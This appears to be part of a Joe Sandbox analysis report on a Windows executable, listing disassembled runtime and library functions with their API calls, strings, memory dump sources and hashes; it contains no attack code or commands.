Instruction Fuzzy Hash: 15218172F1864281FB309B22E8543BA2350FF5938CF8001B6E65EC65E7EEACE5048744

Function 00007FF6929FC8FC Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929FCD29

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: b84f99598af9228c6ddbc1f90d02b3ffc499ddb0e7ad6440c3b0aa44b94abea4
Instruction ID: b64841a5d9afe7bcb7050433201643660f9e7df18d1f7fde6f06193ad34ba1c7
Opcode Fuzzy Hash: b84f99598af9228c6ddbc1f90d02b3ffc499ddb0e7ad6440c3b0aa44b94abea4
Instruction Fuzzy Hash: E4C19F2290868641F7B1DB16A4442FE6B50EF81B88F5581B5EA4E87793DEBCEC45E700

Function 00007FF8A899D480 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 110
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.VCRUNTIME140 ref: 00007FF8A899D4C4
memmove.VCRUNTIME140 ref: 00007FF8A899D4ED
ReadFile.KERNEL32 ref: 00007FF8A899D540
memset.VCRUNTIME140 ref: 00007FF8A899D603

Strings

winRead, xrefs: 00007FF8A899D595
delayed %dms for lock/sharing conflict at line %d, xrefs: 00007FF8A899D5D8

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove$FileReadmemset
String ID: delayed %dms for lock/sharing conflict at line %d$winRead
API String ID: 1637205586-1843600136
Opcode ID: 84e7cd06d1e695213b10032d1561394c47a91f0ddeb4adb590df89c730deadb4
Instruction ID: 988333a93e64de6729c25a75ce93f9e49331b07a726995b07b36d791100d4d8e
Opcode Fuzzy Hash: 84e7cd06d1e695213b10032d1561394c47a91f0ddeb4adb590df89c730deadb4
Instruction Fuzzy Hash: 7D416872A0BA42A2E320DF25E4884B87F60FB447C0F480136EA4D836A8EF3CF545C759

Function 00007FF6929E57B0 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF6929E58A6
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF6929E5857
LoadLibrary, xrefs: 00007FF6929E58FE
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF6929E5817
Failed to load Python DLL '%ls'., xrefs: 00007FF6929E58F7
ucrtbase.dll, xrefs: 00007FF6929E582D

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 0c94513c590f402b38f923246a2f17adc1d022f66f9cb383d8047ef3e80329c9
Instruction ID: ffd751fa47245ab5ece9228194b5f5acae1bf6fa2c7ebbcbee6245d51fd8bf00
Opcode Fuzzy Hash: 0c94513c590f402b38f923246a2f17adc1d022f66f9cb383d8047ef3e80329c9
Instruction Fuzzy Hash: 1F418E32E18A8791FB30DB22E5542F96311FB54388F8001B2EA5DC7696EFBCE605C740

Function 00007FF8A89A99C0 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 176COMMON

Download Yara Rule

Strings

1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886, xrefs: 00007FF8A89A99E2, 00007FF8A89A9B48
%s at line %d of [%.10s], xrefs: 00007FF8A89A9A02, 00007FF8A89A9B68
database corruption, xrefs: 00007FF8A89A99FB, 00007FF8A89A9B61

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886$database corruption
API String ID: 0-1728192754
Opcode ID: a2e55ac30b40089a6a76d6ac5f98bb8ce68ae4974052958b69c5f76ff93aab81
Instruction ID: 2f074e3201880c97f57220d62503360a7254b327ae3193e14f0e682218712faf
Opcode Fuzzy Hash: a2e55ac30b40089a6a76d6ac5f98bb8ce68ae4974052958b69c5f76ff93aab81
Instruction Fuzzy Hash: 12719371A0A642A6FB648B15D448379B7A1FB88BC5F1C4035CA5E4B694EF3CE842C368

Function 00007FF6929F6584 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F65B1
CreateFileW.KERNEL32 ref: 00007FF6929F65F0
CloseHandle.KERNEL32 ref: 00007FF6929F6625

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: 90a68cc1d689661d78c71e507df06edcdc27397f5c551dab54a651660f08bd46
Instruction ID: fa952da07fa728660ea577237313fb5e406be7a17db04e04062408894f2be5a1
Opcode Fuzzy Hash: 90a68cc1d689661d78c71e507df06edcdc27397f5c551dab54a651660f08bd46
Instruction Fuzzy Hash: BF41B562D1878183F7A49B22D5103BA6760FF99768F109374F66C47AD6DFACA8E09700

Function 00007FF6929FA908 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6929FA904), ref: 00007FF6929FA919
TerminateProcess.KERNEL32(?,?,?,00007FF6929FA904), ref: 00007FF6929FA924
ExitProcess.KERNEL32 ref: 00007FF6929FA933

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: ad533715cf3b8ba661eb0a16145d01eebe53b03fcab9f2b2c8fa490b2e23822a
Instruction ID: 259c689c367f02491c9dfb27135370d891717911705dc131e6fc4daa042ff286
Opcode Fuzzy Hash: ad533715cf3b8ba661eb0a16145d01eebe53b03fcab9f2b2c8fa490b2e23822a
Instruction Fuzzy Hash: 21D09E12F58B0642FB783B7198951BA1355DF4D759F0114B8EC4F86393DDADAC8D5200

Function 00007FF8A8A57DD0 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 234COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,?,?,?,00007FF8A8998EBD,?,?,?,?,00007FF8A89CA237,?,?,?,00007FF8A89920AB), ref: 00007FF8A8A57F78

Strings

gfff, xrefs: 00007FF8A8A58131

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memset
String ID: gfff
API String ID: 2221118986-1553575800
Opcode ID: 0649c9fa77268d3002218e80ebdc714aace47ee139e030a97f046b04ea61b17e
Instruction ID: a20c8fa4e0532853fcf3145fd35e4154f66b2c914e3db81766751e6633078d81
Opcode Fuzzy Hash: 0649c9fa77268d3002218e80ebdc714aace47ee139e030a97f046b04ea61b17e
Instruction Fuzzy Hash: 12C12C20E1F623A7FB58CB15E94323926A1FF44BC1F441935D84E466A0FF7CB885872A

Function 00007FF6929EF634 Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929EF678
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929EF76F

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: eff41cba983b05e0f9e09f52185aba8178b112ae95ee52c2a1f9a5fdd57fcc68
Instruction ID: 150184c167a845229639515afeac0dd17d51a7577bd72afa88ef43d4fa42a282
Opcode Fuzzy Hash: eff41cba983b05e0f9e09f52185aba8178b112ae95ee52c2a1f9a5fdd57fcc68
Instruction Fuzzy Hash: D751F572A0924686FB789E2794006BA6391FF46BACF148776DD7D877D7CEBCD4008600

Function 00007FF6929EC19C Relevance: 3.1, APIs: 2, Instructions: 102COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6929EC37C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6929EC390

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6929EC1C5
__scrt_release_startup_lock.LIBCMT ref: 00007FF6929EC233

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 1236291503-0
Opcode ID: 0062f537d7c131bdaaf4aef5eb59421e6e9ee6bfc8727e8bca4d357a962c4ab6
Instruction ID: 57fab7b2312abf0405dc1f91f886eb6bfb6de0580da991d0af6a353820773cca
Opcode Fuzzy Hash: 0062f537d7c131bdaaf4aef5eb59421e6e9ee6bfc8727e8bca4d357a962c4ab6
Instruction Fuzzy Hash: AD314C32E0C64382FA74ABA6A4123BA1391FF45B8CF4450B5E98DD73D7DEADF8458250

Function 00007FF6929FD2B8 Relevance: 3.1, APIs: 2, Instructions: 71COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6929FD331
GetFileType.KERNEL32 ref: 00007FF6929FD347

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 336ff322d096320c7609ad2a1ebfb1af701ecd8db59b0b6a36a9cc413741d25d
Instruction ID: a6126f360ef829e43301cfe0e26f155d906bf4b64556df487de2928814ed3303
Opcode Fuzzy Hash: 336ff322d096320c7609ad2a1ebfb1af701ecd8db59b0b6a36a9cc413741d25d
Instruction Fuzzy Hash: D4310722A18B5685F7B09B1685400BD6750FB05BBCF640379EB6E873E1CFB8E851E311

Function 00007FF6929FCFD4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,?,?,00007FF6929FCFC0,?,?,?,?,?,00007FF6929FD0C9), ref: 00007FF6929FD020
GetLastError.KERNEL32(?,?,?,?,?,00007FF6929FCFC0,?,?,?,?,?,00007FF6929FD0C9), ref: 00007FF6929FD02A

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: c8d9032d6f18d1acbd55ff3d5784a6e8b9f1708e95d0104a6ada3112851001ef
Instruction ID: 7ac8b4bf5861ac501785db47aa001f03d5a121e619fabc72b4c36d3bf68f5241
Opcode Fuzzy Hash: c8d9032d6f18d1acbd55ff3d5784a6e8b9f1708e95d0104a6ada3112851001ef
Instruction Fuzzy Hash: FB110462608B4281EA609B26A4440AE6361EB41BF8F580371EE7D8BBDACFBCD4419740

Function 00007FF6929FB404 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF692A03F32,?,?,?,00007FF692A03F6F,?,?,00000000,00007FF692A04435,?,?,?,00007FF692A04367), ref: 00007FF6929FB41A
GetLastError.KERNEL32(?,?,?,00007FF692A03F32,?,?,?,00007FF692A03F6F,?,?,00000000,00007FF692A04435,?,?,?,00007FF692A04367), ref: 00007FF6929FB424

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 0e9bd81d70d272d571b15e7d509907a6bc8aa23799849ce19584cafaa201c9c5
Instruction ID: bf03d7b9f143cd9f3058d135b2bc13927418f1e5640ca106d65b3dc84b082975
Opcode Fuzzy Hash: 0e9bd81d70d272d571b15e7d509907a6bc8aa23799849ce19584cafaa201c9c5
Instruction Fuzzy Hash: D7E08652F0950243FF786FF398580B92750DF59708B4880B0E90ECB293DEAC6C455310

Function 00007FF8A8994E55 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8A8994E60

Strings

failed to allocate %u bytes of memory, xrefs: 00007FF8A8994E71

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: malloc
String ID: failed to allocate %u bytes of memory
API String ID: 2803490479-1168259600
Opcode ID: c849be4d5c180d48dc842bf74706e8cd3cc36d7013c408381d04f3394f2ed30d
Instruction ID: 99fb089b782b58874f4333dbbd22ffce7e81c87a659f103540516a8994b0f401
Opcode Fuzzy Hash: c849be4d5c180d48dc842bf74706e8cd3cc36d7013c408381d04f3394f2ed30d
Instruction Fuzzy Hash: 6DD0C250B0B50291EE15474AF6851746261EF4CBC0F085030CA0E0B715FF1CF441C788

Function 00007FF6929FBA00 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00007FF6929FB87D,?,?,00000000,00007FF6929FB932), ref: 00007FF6929FBA6E
GetLastError.KERNEL32(?,?,?,00007FF6929FB87D,?,?,00000000,00007FF6929FB932), ref: 00007FF6929FBA78

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 77e2bcd66fe63b7e32e9c420d5456187ea64b38b498190725808e49f9c0985ab
Instruction ID: 3cba56ce8dc384e58a33eba87c7e0a8566c0242cd08c7e329aad6223f53a56d1
Opcode Fuzzy Hash: 77e2bcd66fe63b7e32e9c420d5456187ea64b38b498190725808e49f9c0985ab
Instruction Fuzzy Hash: 38218051B1874241FAF45B26A5A42FE17C2DF497ACF4442B5EA2F8B3D7CEACE8456300

Function 00007FF6929FCD4C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929FCD74

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8b800d1c0215c395d8ee5cb256ced11da9c32d068479accee0e1705fd5882e0a
Instruction ID: 0f11e37d1fa54408865fcf7fd8e0ba345cce4fdc6856dfa8970b7de0038672f7
Opcode Fuzzy Hash: 8b800d1c0215c395d8ee5cb256ced11da9c32d068479accee0e1705fd5882e0a
Instruction Fuzzy Hash: 9241B43391960187FAB4CB16A5402BE77A0EF56B88F104171E69EC6692DFACEC02D750

Function 00007FF6929E73E0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF6929E748A

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 76df5ea6d001137d89581e2e633885c941e23a1ff6bc95f5a2eac986a80abc5d
Instruction ID: 34e94d2545ec936f8a1fddb321d8676f9083883eaadf4958f7fa5c12697c40e3
Opcode Fuzzy Hash: 76df5ea6d001137d89581e2e633885c941e23a1ff6bc95f5a2eac986a80abc5d
Instruction Fuzzy Hash: EB217131F0869246FA749A1765083FA9B42FF45BD8F8854B1EE0D8B787EEBCE445C201

Function 00007FF6929FC7DC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929FC862

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ec9d5ae5a000e04b57470e1a65c1a2ebd8d322b6e5cd5ccd1e774105d6e8e50b
Instruction ID: 810909475bce8bd7fa1c1ba956887fc76afb953fa72fe69a8f9048e6f0053bb7
Opcode Fuzzy Hash: ec9d5ae5a000e04b57470e1a65c1a2ebd8d322b6e5cd5ccd1e774105d6e8e50b
Instruction Fuzzy Hash: E3318B22E1864286F7A1AB5798452FE2750EF40BA8F5281B5F91D873D3CEFCAC41A710

Function 00007FF6929FA839 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6929FA867

Part of subcall function 00007FF6929FA960: GetModuleHandleExW.KERNEL32 ref: 00007FF6929FA985
Part of subcall function 00007FF6929FA960: GetProcAddress.KERNEL32 ref: 00007FF6929FA99B
Part of subcall function 00007FF6929FA960: FreeLibrary.KERNEL32 ref: 00007FF6929FA9C2

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
